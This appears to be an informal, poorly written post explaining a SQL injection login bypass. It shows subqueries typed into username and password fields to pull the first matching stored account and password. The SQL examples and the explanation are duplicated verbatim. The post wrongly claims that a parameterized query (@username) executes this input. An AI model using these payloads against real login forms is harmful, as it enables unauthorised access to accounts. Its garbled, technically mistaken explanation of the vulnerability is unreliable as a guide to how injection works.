if database built by your self if you use this type of query to login and have no validation in your field.
select * from tabelname where username=@username and password=@password and flag=1
then you simply write in username field.
username = (select top 1 username from tabelname where username like 'm%') and
password=(select top 1 password from tabelname where username =(select top 1 username from tabelname where username like 'm%'))
and then the query becomes work like this
select * from tabelname where username=(select top 1 username from tabelname where username like 'm%')
and password=(select top 1 password from tabelname where username =(select top 1 username from tabelname where username like 'm%'))
and flag=1
*************************************************************************************
select * from tableABC where userid=(select top 1 userid from tableABC where userid like 'm%') and
userpwd =(select top 1 userpwd from tableABC where userpwd like 'v%')
username=(select top 1 userid from tableABC where userid like 'm%')
password=(select top 1 userpwd from tableABC where userpwd like 'v%')
select * from tabelname where username=@username and password=@password and flag=1
then you simply write in username field.
username = (select top 1 username from tabelname where username like 'm%') and
password=(select top 1 password from tabelname where username =(select top 1 username from tabelname where username like 'm%'))
and then the query becomes work like this
select * from tabelname where username=(select top 1 username from tabelname where username like 'm%')
and password=(select top 1 password from tabelname where username =(select top 1 username from tabelname where username like 'm%'))
and flag=1
*************************************************************************************
select * from tableABC where userid=(select top 1 userid from tableABC where userid like 'm%') and
userpwd =(select top 1 userpwd from tableABC where userpwd like 'v%')
username=(select top 1 userid from tableABC where userid like 'm%')
password=(select top 1 userpwd from tableABC where userpwd like 'v%')